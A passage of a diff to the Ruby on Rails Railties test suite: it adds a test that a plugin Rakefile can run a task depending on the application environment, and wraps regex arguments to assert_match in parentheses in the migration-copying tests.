test_rake_environment_can_be_called_in_the_engine_or_plugin + boot_rails + + @plugin.write "Rakefile", <<-RUBY + APP_RAKEFILE = '#{app_path}/Rakefile' + load 'rails/tasks/engine.rake' + task :foo => :environment do + puts "Task ran" + end + RUBY + + Dir.chdir(@plugin.path) do + output = `bundle exec rake foo` + assert_match "Task ran", output + end + end + def test_copying_migrations @plugin.write "db/migrate/1_create_users.rb", <<-RUBY class CreateUsers < ActiveRecord::Migration @@ -61,21 +78,21 @@ module RailtiesTest assert File.exists?("#{app_path}/db/migrate/2_create_users.rb") assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb") - assert_match /Copied migration 2_create_users.rb from bukkits/, output - assert_match /Copied migration 3_add_last_name_to_users.rb from bukkits/, output - assert_match /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output + assert_match(/Copied migration 2_create_users.rb from bukkits/, output) + assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output) + assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output) assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length output = `bundle exec rake railties:install:migrations`.split("\n") assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb") - assert_no_match /2_create_users/, output.join("\n") + assert_no_match(/2_create_users/, output.join("\n")) yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o }) bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o }) assert_not_nil yaffle_migration_order, "Expected migration to be copied" assert_not_nil bukkits_migration_order, "Expected migration to be skipped" - assert_equal (railties.index('acts_as_yaffle') > railties.index('bukkits')) , (yaffle_migration_order > bukkits_migration_order) + assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order) migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length output = `bundle exec rake railties:install:migrations` |